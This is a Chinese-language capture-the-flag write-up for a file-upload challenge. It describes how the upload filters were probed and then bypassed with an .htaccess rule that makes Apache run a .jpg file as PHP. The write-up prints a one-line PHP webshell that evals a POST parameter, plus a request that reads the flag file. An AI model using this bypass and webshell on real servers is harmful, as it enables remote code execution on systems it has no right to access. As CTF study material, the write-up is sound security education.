0x01知道允许的后缀
u1s1,这道题,上传jpg、png、gif文件都失败了,都提示我文件类型露骨。直到最后尝试上传一个,很小的图片文件(最后在github上看到源码,要求小于2kb),才上传成功。这也是本题最苟的一点。
同理,在上传很小的png时,失败了,经过实际测试,这里卡的是Content-Type。
0x02知道上传限制
上传php一句话时候,页面回显,后缀不允许有ph,通过修改后缀和Content-Type时,页面回显还是php。测试后发现过滤了<?
那么这道题的上传限制也就是上传的文件后缀不允许出现ph、Content-Type=image/jpeg、文件内容中也不允许出现<?。知道上传的限制就很好做题了。
0x03 上传马获取flag
通过404报错页面可以知道用的服务器是apache,上传一个.htaccess配置文件,允许服务器把123.jpg文件解析为php
<FilesMatch "123.jpg">
setHandler application/x-httpd-php
</FilesMatch>
上传一个图片马就123.jpg
<script language='php'>@eval($_POST['shell']);</script>
命令执行:即可得到flag,也可以菜刀连
http://****/upload/46e17035a9367a5a1aaf1911ffce8817/123.jpg?shell=show_source(%27/flag%27);